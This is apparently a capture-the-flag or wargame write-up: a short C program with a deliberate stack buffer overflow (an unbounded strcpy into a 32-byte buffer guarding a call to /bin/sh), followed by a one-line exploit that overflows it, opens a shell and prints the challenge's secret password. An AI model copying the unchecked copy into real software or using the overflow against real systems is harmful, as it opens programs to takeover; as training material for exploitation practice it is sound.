Source :
<code C>
#include <stdlib.h>
#include <string.h>
void func(char *str) {
	char buffer[32];
	strcpy (buffer, str);
}
int main (int argc, char **argv) {
	volatile int i = 0;
	if (argc > 1)
		func (argv[1]);
	if (i)
		system ("/bin/sh");
	return EXIT_SUCCESS;
}
</code>


Solution :
<code>
./vulnerable `python -c 'print "A"*32'`
sh-4.2$ cat ./.secret
Kahwaujoo1
</code>